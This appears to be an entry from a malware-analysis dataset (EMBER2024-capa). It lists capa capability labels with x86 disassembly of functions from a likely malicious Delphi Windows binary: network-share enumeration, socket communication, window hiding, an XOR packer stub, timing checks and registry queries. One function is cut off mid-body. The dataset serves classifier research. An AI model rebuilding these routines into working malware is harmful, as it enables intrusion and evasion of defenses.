joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40bb6c
Capabilities:
Enumerate network shares

Disassembly:
push ebp
mov ebp, esp
mov ecx, 4
push 0
push 0
dec ecx
jne 0x40bb74
push ecx
push ebx
push esi
push edi
xor edx, edx
push ebp
push 0x40bd67
push dword fs:[edx]
mov dword fs:[edx], esp
lea edx, [ebp - 4]
push edx
push eax
push 0
push 1
push 2
call sub.mpr.dll_WNetOpenEnumA
test eax, eax
jne 0x40bd4c
mov dword [ebp - 0xc], 0x7e0
mov eax, dword [ebp - 0xc]
call fcn.004024d0
mov esi, eax
mov eax, esi
xor ecx, ecx
mov edx, dword [ebp - 0xc]
call fcn.00402bd8
mov dword [ebp - 8], 0x3f
lea eax, [ebp - 0xc]
push eax
push esi
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.mpr.dll_WNetEnumResourceA
test eax, eax
je 0x40bbea
cmp eax, 0xea
jne 0x40bd3c
mov eax, dword [ebp - 8]
dec eax
test eax, eax
jl 0x40bbc2
inc eax
mov dword [ebp - 0x10], eax
xor ebx, ebx
mov edi, ebx
shl edi, 2
test byte [esi + edi*8 + 0xc], 2
je 0x40bc0c
lea eax, [esi + edi*8]
call fcn.0040bb6c
cmp dword [esi + edi*8 + 8], 3
jne 0x40bd2d
lea eax, [ebp - 0x14]
mov edx, dword [esi + edi*8 + 0x14]
call fcn.0040385c
mov edx, dword [ebp - 0x14]
mov eax, 0x413afc
mov ecx, 0x40bd80
call fcn.004038f0
inc dword [0x413b28]
mov eax, dword [0x413b28]
cmp eax, dword [0x413b2c]
jl 0x40bd2d
mov eax, dword [0x413b28]
push eax
mov ecx, 0x40bd8c
mov edx, 0x40bd9c
mov eax, 0x80000002
call fcn.00406eec
mov eax, dword [0x413afc]
push eax
mov edx, 0x40bd9c
mov ecx, 0x40bde4
mov eax, 0x80000002
call fcn.00406dc4
xor eax, eax
mov dword [0x413b24], eax
mov word [0x41213c], 0
lea eax, [ebp - 0x1c]
push eax
mov eax, dword [0x413ad8]
call fcn.004038a4
mov ecx, eax
mov edx, 3
mov eax, dword [0x413afc]
call fcn.00403b04
mov eax, dword [ebp - 0x1c]
lea edx, [ebp - 0x18]
call fcn.00405488
mov eax, dword [ebp - 0x18]
mov edx, dword [0x413ad8]
call fcn.004039f0
jne 0x40bce7
lea eax, [ebp - 0x20]
mov ecx, dword [0x413afc]
mov edx, 0x40bdf4
call fcn.004038f0
mov eax, dword [ebp - 0x20]
call fcn.004116a4
jmp 0x40bd0c
mov eax, dword [0x413afc]
call fcn.0040b34c
lea eax, [ebp - 0x24]
mov ecx, dword [0x413afc]
mov edx, 0x40be08
call fcn.004038f0
mov eax, dword [ebp - 0x24]
call fcn.004116a4
xor eax, eax
mov dword [0x413b20], eax
mov eax, dword [0x413b20]
push eax
mov edx, 0x40bd9c
mov ecx, 0x40be18
mov eax, 0x80000002
call fcn.00406eec
inc ebx
dec dword [ebp - 0x10]
jne 0x40bbf8
jmp 0x40bbc2
mov eax, esi
call fcn.004024f0
mov eax, dword [ebp - 4]
push eax
call sub.mpr.dll_WNetCloseEnum
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40bd6e
lea eax, [ebp - 0x24]
mov edx, 5
call fcn.00403750
ret
Function at 0x40c028
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef4
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x10c], ebx
mov dword [ebp - 8], ecx
mov ebx, edx
mov dword [ebp - 4], eax
mov esi, dword [ebp + 8]
mov eax, dword [ebp - 4]
call fcn.00403a94
mov eax, dword [ebp - 8]
call fcn.00403a94
xor eax, eax
push ebp
push 0x40c1c0
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.004038a4
test eax, eax
jle 0x40c0b2
lea eax, [ebp - 4]
mov edx, 0x40c1d8
call fcn.004038ac
push 0
mov eax, dword [ebp - 4]
call fcn.004038a4
push eax
lea eax, [ebp - 4]
call fcn.00403afc
push eax
mov eax, dword [ebp + 0xc]
mov eax, dword [eax - 4]
push eax
call sub.wsock32.dll_send
mov edi, eax
test bl, bl
jne 0x40c0b2
mov edx, esi
mov eax, edi
call fcn.00405440
jmp 0x40c19a
lea eax, [ebp - 0x108]
xor ecx, ecx
mov edx, 0xff
call fcn.00402bd8
push 0
push 0xff
lea eax, [ebp - 0x108]
push eax
mov eax, dword [ebp + 0xc]
mov eax, dword [eax - 4]
push eax
call sub.wsock32.dll_recv
mov edi, eax
inc edi
je 0x40c18e
mov eax, esi
lea edx, [ebp - 0x108]
mov ecx, pe_nt_image_headers32
call fcn.0040388c
mov eax, dword [ebp - 8]
call fcn.004038a4
cmp eax, 3
jne 0x40c19a
mov eax, dword [ebp - 8]
mov al, byte [eax]
cmp al, byte [ebp - 0x108]
jne 0x40c133
mov eax, dword [ebp - 8]
mov al, byte [eax + 1]
cmp al, byte [ebp - 0x107]
jne 0x40c133
mov eax, dword [ebp - 8]
mov al, byte [eax + 2]
cmp al, byte [ebp - 0x106]
je 0x40c19a
push 0x40c1e4
push dword [ebp - 4]
push 0x40c1f8
push dword [ebp - 8]
push 0x40c20c
push 0x40c1d8
push dword [esi]
push 0x40c1d8
push dword [0x493b68]
lea eax, [ebp - 0x10c]
mov edx, 9
call fcn.00403964
mov eax, dword [ebp - 0x10c]
call fcn.004116a4
mov eax, dword [ebp + 0xc]
add eax, 0xfffffffc
call fcn.00406618
mov eax, esi
mov edx, 0x40c218
call fcn.00403780
jmp 0x40c19a
mov eax, esi
mov edx, 0x40c218
call fcn.00403780
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40c1c7
lea eax, [ebp - 0x10c]
call fcn.0040372c
lea eax, [ebp - 8]
mov edx, 2
call fcn.00403750
ret
Function at 0x40c838
Capabilities:
Hide graphical window

Disassembly:
push 0
push 0
push 0x40c878
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_ShowWindow
push 0
push 0
push 0x40c884
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_ShowWindow
push 0
push 0
push 0x40c8a4
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_ShowWindow
ret

Function at 0x40d034
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
xor eax, eax
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x40d0ca
push dword fs:[eax]
mov dword fs:[eax], esp
push 0xfa
lea eax, [ebp - 0x104]
push eax
call sub.user32.dll_GetForegroundWindow
push eax
call sub.user32.dll_GetWindowTextA
lea eax, [ebp - 4]
lea edx, [ebp - 0x104]
mov ecx, pe_nt_image_headers32
call fcn.0040388c
mov edx, dword [ebp - 4]
mov eax, 0x40d0e0
call fcn.00403b8c
test eax, eax
jne 0x40d0b2
mov edx, dword [ebp - 4]
mov eax, 0x40d0f0
call fcn.00403b8c
test eax, eax
jne 0x40d0b2
mov edx, dword [ebp - 4]
mov eax, 0x40d104
call fcn.00403b8c
test eax, eax
jne 0x40d0b2
xor ebx, ebx
jmp 0x40d0b4
mov bl, 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40d0d1
lea eax, [ebp - 4]
call fcn.0040372c
ret

Function at 0x40d114
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
mov ecx, 8
push 0
push 0
dec ecx
jne 0x40d11c
push ebx
push esi
xor eax, eax
push ebp
push 0x40d3e4
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 1], 0
push 1
push 0
push 0
lea eax, [ebp - 0x14]
mov ecx, dword [0x413af0]
mov edx, 0x40d3fc
call fcn.004038f0
mov eax, dword [ebp - 0x14]
call fcn.00403aa4
push eax
push 0x40d404
push 0
call sub.shell32.dll_ShellExecuteA
mov ebx, eax
cmp ebx, 0x20
jae 0x40d192
mov eax, ebx
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x1c]
call fcn.00405460
mov ecx, dword [ebp - 0x1c]
lea eax, [ebp - 0x18]
mov edx, 0x40d414
call fcn.004038f0
mov eax, dword [ebp - 0x18]
call fcn.004116a4
xor ebx, ebx
call fcn.0040d034
test al, al
jne 0x40d1ad
inc ebx
push 0x258
call sub.KERNEL32.DLL_Sleep
cmp bl, 0xa
jb 0x40d194
xor esi, esi
cmp bl, 0xa
jb 0x40d22d
push 0
push 0x40d420
call sub.user32.dll_FindWindowA
mov esi, eax
test esi, esi
jne 0x40d1d4
push 0
push 0x40d42c
call sub.user32.dll_FindWindowA
mov esi, eax
push esi
call sub.user32.dll_SetForegroundWindow
call fcn.0040d034
test al, al
invalid
jne 0x40d223
push 1
push 0
push 0x3e8
call sub.KERNEL32.DLL_Sleep
Function at 0x40f800
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push ebx
push esi
xor eax, eax
push ebp
push 0x40f968
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 8]
xor eax, eax
call fcn.0040272c
mov eax, dword [ebp - 8]
lea edx, [ebp - 4]
call fcn.00405504
mov edx, dword [ebp - 4]
mov eax, 0x413ae8
call fcn.00403780
cmp byte [0x413b41], 0
jne 0x40f85c
mov eax, dword [0x413ae8]
push eax
mov ecx, 0x40f980
mov edx, 0x40f990
mov eax, 0x80000002
call fcn.00406dc4
cmp byte [0x413b41], 0
je 0x40f86f
call fcn.0040fa40
jmp 0x40f94d
xor ebx, ebx
push 0
push 0x40f9d0
call sub.user32.dll_FindWindowA
mov ebx, eax
test ebx, ebx
jne 0x40f88f
push 0x3e8
call sub.KERNEL32.DLL_Sleep
jmp 0x40f871
push 0xea60
call sub.KERNEL32.DLL_Sleep
push 0
push 0x40f9e0
push 0
push ebx
call sub.user32.dll_FindWindowExA
mov ebx, eax
push 0x40f9e8
call sub.KERNEL32.DLL_LoadLibraryA
mov esi, eax
test esi, esi
jne 0x40f8c6
push 0x40f9f4
call sub.KERNEL32.DLL_LoadLibraryA
mov esi, eax
test esi, esi
je 0x40f92b
push 0x40fa00
push esi
call sub.KERNEL32.DLL_GetProcAddress
test eax, eax
je 0x40f92b
call eax
push 0xbb8
call sub.KERNEL32.DLL_Sleep
push 0
push 0xd
push pe_nt_image_headers32
push ebx
call sub.user32.dll_SendMessageA
push 0x1f4
call sub.KERNEL32.DLL_Sleep
push 0
push 0xd
push 0x101
push ebx
call sub.user32.dll_SendMessageA
push 0xc8
call sub.KERNEL32.DLL_Sleep
mov eax, 0x40fa10
call fcn.00404e0c
push 0x3e8
call sub.KERNEL32.DLL_Sleep
mov edx, 0x40fa18
mov eax, 0x413b54
mov ecx, 0xbb8
call fcn.00406aac
test al, al
je 0x40f94d
call fcn.0040fa40
call fcn.004115a8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40f96f
lea eax, [ebp - 8]
mov edx, 2
call fcn.00403750
ret
Function at 0x4116a4
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
xor edx, edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403a94
xor eax, eax
push ebp
push 0x41176e
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [0x413b48], 0
jne 0x4116d6
call fcn.00411664
push 2
push 0
push 0
mov eax, dword [0x413b48]
push eax
call sub.KERNEL32.DLL_SetFilePointer
cmp eax, 0xffffffff
jne 0x4116f1
call fcn.00411664
lea edx, [ebp - 0xc]
mov al, byte [0x413b42]
call fcn.00405580
push dword [ebp - 0xc]
push 0x411784
push dword [ebp - 4]
push 0x411790
lea eax, [ebp - 4]
mov edx, 4
call fcn.00403964
mov byte [0x413b42], 0
push 0
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 4]
call fcn.004038a4
push eax
lea eax, [ebp - 4]
call fcn.00403afc
push eax
mov eax, dword [0x413b48]
push eax
call sub.KERNEL32.DLL_WriteFile
test eax, eax
jne 0x411750
mov dword [ebp - 8], 0xffffffff
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x411775
lea eax, [ebp - 0xc]
call fcn.0040372c
lea eax, [ebp - 4]
call fcn.0040372c
ret

Function at 0x433001
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
push 4
nop
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x433072
nop
nop
nop
mov ebx, 0x40de38
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x227f721f
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
loop 0x433060
nop
nop
nop
nop
nop
mov eax, section..data
cmp eax, 0
nop
nop
nop
nop
je 0x4330d2
nop
nop
nop
mov ebx, 0x4304d8
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x5f3234b8
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x4330c0
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x406850
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x610008], 0x8088405
inc edx
mov dword [ebx + 0x610008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x407384
Capabilities:
Read file on windows

Disassembly:
push ebx
xor ecx, ecx
mov ebx, eax
mov cx, word [eax + 4]
sub ecx, 0xd7b1
je 0x40739a
sub ecx, 2
jne 0x4073bc
push 0
mov eax, esp
push 0
push eax
push dword [ebx + 8]
push edx
push dword [ebx]
call sub.kernel32.dll_ReadFile
pop edx
dec eax
jne 0x4073c3
cmp edx, dword [ebx + 8]
je 0x4073cd
mov eax, 0x64
jmp 0x4073c8
mov eax, 0x67
jmp 0x4073c8
call sub.kernel32.dll_GetLastError
call fcn.004065d0
pop ebx
ret

Function at 0x4083fc
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff4
mov edi, edx
mov esi, eax
mov ebp, dword [esi + 0x10]
mov eax, esi
call fcn.004087d4
mov byte [esp], al
cmp byte [esp], 0
jne 0x40857c
test edi, edi
je 0x40857c
mov byte [esp + 1], 0
test ebp, ebp
jle 0x4084bc
call sub.kernel32.dll_GetTickCount
mov dword [esp + 4], eax
test ebp, ebp
jle 0x408497
cmp edi, 0xffffffff
je 0x40845b
call sub.kernel32.dll_GetTickCount
sub eax, dword [esp + 4]
cmp edi, eax
ja 0x40845b
mov byte [esp], 0
jmp 0x40857c
mov ebx, dword [esi]
cmp ebx, 1
jg 0x408497
test ebx, ebx
jne 0x40848d
xor eax, eax
mov edx, 1
lock cmpxchg dword [esi], edx
test eax, eax
jne 0x40848d
call sub.kernel32.dll_GetCurrentThreadId
mov dword [esi + 8], eax
mov dword [esi + 4], 1
mov byte [esp], 1
jmp 0x40857c
call 0x4088f4
dec ebp
test ebp, ebp
jg 0x408440
cmp edi, 0xffffffff
je 0x4084bc
call sub.kernel32.dll_GetTickCount
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
sub eax, dword [esp + 4]
cmp edi, eax
ja 0x4084ba
mov byte [esp], 0
jmp 0x40857c
sub edi, eax
mov ebx, dword [esi]
test ebx, ebx
je 0x40840a
lea edx, [ebx + 2]
mov eax, ebx
lock cmpxchg dword [esi], edx
cmp ebx, eax
jne 0x4084bc
call sub.kernel32.dll_GetTickCount
mov dword [esp + 4], eax
mov eax, esi
call fcn.004085e8
mov edx, eax
mov ebx, dword [reloc.kernel32.dll_InterlockedCompareExchange]
mov ecx, edi
xor eax, eax
call dword [ebx + 0x10]
test eax, eax
sete byte [esp]
cmp edi, 0xffffffff
je 0x408520
call sub.kernel32.dll_GetTickCount
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
sub eax, dword [esp + 4]
cmp edi, eax
jbe 0x40851e
mov eax, dword [esp + 8]
sub eax, dword [esp + 4]
sub edi, eax
jmp 0x408520
xor edi, edi
cmp byte [esp], 0
je 0x408546
mov ebx, dword [esi]
test bl, 1
jne 0x40855c
mov edx, ebx
sub edx, 2
or edx, 1
mov eax, ebx
lock cmpxchg dword [esi], edx
cmp ebx, eax
jne 0x408526
mov byte [esp + 1], 1
jmp 0x40855c
mov ebx, dword [esi]
mov edx, ebx
sub edx, 2
mov eax, ebx
lock cmpxchg dword [esi], edx
cmp ebx, eax
jne 0x408546
mov byte [esp + 1], 1
cmp byte [esp + 1], 0
je 0x4084d3
cmp byte [esp], 0
je 0x40857c
call sub.kernel32.dll_GetCurrentThreadId
mov dword [esi + 8], eax
mov dword [esi + 4], 1
movzx eax, byte [esp]
add esp, 0xc
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x409330
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x619058], 0
je 0x409397
cmp word [0x619344], 0xd7b2
jne 0x409359
cmp dword [reloc.user32.dll_SetWindowTextW], 0
jbe 0x409359
mov eax, 0x619340
call dword [0x61935c]
push 0
lea eax, [esp + 4]
push eax
push 0x1d
push str.Runtime_error_____at_00000000
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
mov eax, 0x4093c4
call fcn.0040a118
push eax
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x610032], 0
jne 0x4093b3
push 0
push 0x610a0a
push str.Runtime_error_____at_00000000
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x409590
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov esi, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov edi, dword [ebp + 0x10]
cmp dword [0x610034], 0
je 0x4095bb
mov edx, edi
mov eax, esi
call dword [0x610034]
mov ebx, eax
jmp 0x4095cc
mov eax, 8
call fcn.0040643c
mov ebx, eax
mov dword [ebx], esi
mov dword [ebx + 4], edi
mov byte [0x619059], 1
mov eax, dword [ebp + 8]
push eax
mov eax, dword [ebp + 0xc]
push eax
push ebx
mov eax, 0x409558
push eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_CreateThread
mov esi, eax
test esi, esi
jne 0x4095fc
mov eax, ebx
call fcn.00406458
mov eax, esi
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret 0xc
Function at 0x40c0c8
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe98
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x160], ecx
mov dword [ebp - 0x164], ecx
mov dword [ebp - 0x168], ecx
mov dword [ebp - 4], edx
mov esi, eax
xor eax, eax
push ebp
push 0x40c22d
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.004096d0
cmp si, word [0x610a48]
jb 0x40c160
cmp si, word [0x610c48]
ja 0x40c160
mov edi, 0x40
xor eax, eax
mov dword [ebp - 8], eax
cmp edi, dword [ebp - 8]
jb 0x40c160
mov ebx, edi
add ebx, dword [ebp - 8]
shr ebx, 1
cmp si, word [ebx*8 + 0x610a48]
jae 0x40c13a
mov edi, ebx
dec edi
jmp 0x40c15b
cmp si, word [ebx*8 + 0x610a48]
jbe 0x40c14a
inc ebx
mov dword [ebp - 8], ebx
jmp 0x40c15b
mov edx, dword [ebp - 4]
mov eax, dword [ebx*8 + 0x610a4c]
call fcn.0040bfe8
jmp 0x40c160
cmp edi, dword [ebp - 8]
jae 0x40c124
mov eax, dword [ebp - 4]
cmp dword [eax], 0
jne 0x40c20f
push 2
movzx eax, si
push eax
call sub.kernel32.dll_IsValidLocale
test eax, eax
je 0x40c20f
push 0x55
lea eax, [ebp - 0xb2]
push eax
push 0x59
movzx ebx, si
push ebx
call sub.kernel32.dll_GetLocaleInfoW
push 0x55
lea eax, [ebp - 0x15c]
push eax
push 0x5a
push ebx
call sub.kernel32.dll_GetLocaleInfoW
lea eax, [ebp - 0x160]
lea edx, [ebp - 0xb2]
mov ecx, 0x55
call fcn.0040a580
push dword [ebp - 0x160]
push 0x40c248
lea eax, [ebp - 0x164]
lea edx, [ebp - 0x15c]
mov ecx, 0x55
call fcn.0040a580
push dword [ebp - 0x164]
push 0x40c258
lea eax, [ebp - 0x168]
lea edx, [ebp - 0xb2]
mov ecx, 0x55
call fcn.0040a580
push dword [ebp - 0x168]
mov eax, dword [ebp - 4]
mov edx, 5
call fcn.0040a7b8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40c234
lea eax, [ebp - 0x168]
mov edx, 3
call fcn.00409730
ret
Function at 0x40c3e0
Capabilities:
Identify system language via api

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40c4e3
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x61bb88
call sub.kernel32.dll_EnterCriticalSection
cmp bx, word [0x61bba0]
jne 0x40c42c
mov eax, esi
mov edx, 0x61bba2
mov ecx, 0x55
call fcn.0040a580
push 0x61bb88
call sub.kernel32.dll_LeaveCriticalSection
jmp 0x40c4cd
push 0x61bb88
call sub.kernel32.dll_LeaveCriticalSection
mov eax, esi
call fcn.004096d0
push 2
movzx eax, bx
push eax
call sub.kernel32.dll_IsValidLocale
test eax, eax
je 0x40c49b
cmp byte [0x61bb84], 0
je 0x40c460
mov edx, esi
mov eax, ebx
call fcn.0040c2c4
jmp 0x40c49b
mov edx, esi
mov eax, ebx
call fcn.0040c0c8
call sub.kernel32.dll_GetSystemDefaultUILanguage
cmp bx, ax
je 0x40c49b
cmp dword [esi], 0
je 0x40c484
mov eax, esi
mov edx, 0x40c4fc
call fcn.0040a6d8
call sub.kernel32.dll_GetSystemDefaultUILanguage
lea edx, [ebp - 4]
call fcn.0040c0c8
mov edx, dword [ebp - 4]
mov eax, esi
call fcn.0040a6d8
push 0x61bb88
call sub.kernel32.dll_EnterCriticalSection
mov word [0x61bba0], bx
push 0xaa
mov eax, dword [esi]
call fcn.0040a4c4
push eax
push 0x61bba2
call sub.kernel32.dll_lstrcpynW
push 0x61bb88
call sub.kernel32.dll_LeaveCriticalSection
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40c4ea
lea eax, [ebp - 4]
call fcn.004096d0
ret
Function at 0x40c718
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffde4
push ebx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004097b4
xor eax, eax
push ebp
push 0x40c93d
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [ebp - 4], 0
jne 0x40c758
push 0x105
lea eax, [ebp - 0x21a]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameW
jmp 0x40c772
push 0x105
mov eax, dword [ebp - 4]
call fcn.0040a4c4
push eax
lea eax, [ebp - 0x21a]
push eax
call sub.kernel32.dll_lstrcpynW
cmp word [ebp - 0x21a], 0
je 0x40c927
xor eax, eax
mov dword [ebp - 8], eax
lea eax, [ebp - 0xc]
push eax
push 0xf0019
push 0
push 0x40c94c
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
je 0x40c841
lea eax, [ebp - 0xc]
push eax
push 0xf0019
push 0
push 0x40c94c
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
je 0x40c841
lea eax, [ebp - 0xc]
push eax
push 0xf0019
push 0
push 0x40c988
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
je 0x40c841
lea eax, [ebp - 0xc]
push eax
push 0xf0019
push 0
push 0x40c988
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
je 0x40c841
lea eax, [ebp - 0xc]
push eax
push 0xf0019
push 0
push 0x40c9bc
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
je 0x40c841
lea eax, [ebp - 0xc]
push eax
push 0xf0019
push 0
push 0x40c9f0
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
jne 0x40c927
xor eax, eax
push ebp
push 0x40c920
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x21a]
mov edx, 0x105
call fcn.0040c524
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 0
lea eax, [ebp - 0x21a]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExW
test eax, eax
jne 0x40c8b0
mov eax, dword [ebp - 0x10]
call fcn.0040643c
mov dword [ebp - 8], eax
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 8]
push eax
push 0
push 0
lea eax, [ebp - 0x21a]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExW
mov eax, ebx
mov edx, dword [ebp - 8]
call fcn.0040a52c
jmp 0x40c8fb
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 0
push 0x40ca30
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExW
test eax, eax
jne 0x40c8fb
mov eax, dword [ebp - 0x10]
call fcn.0040643c
mov dword [ebp - 8], eax
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 8]
push eax
push 0
push 0
push 0x40ca30
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExW
mov eax, ebx
mov edx, dword [ebp - 8]
call fcn.0040a52c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40c927
cmp dword [ebp - 8], 0
je 0x40c916
mov eax, dword [ebp - 8]
call fcn.00406458
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40c944
lea eax, [ebp - 4]
call fcn.004096d0
ret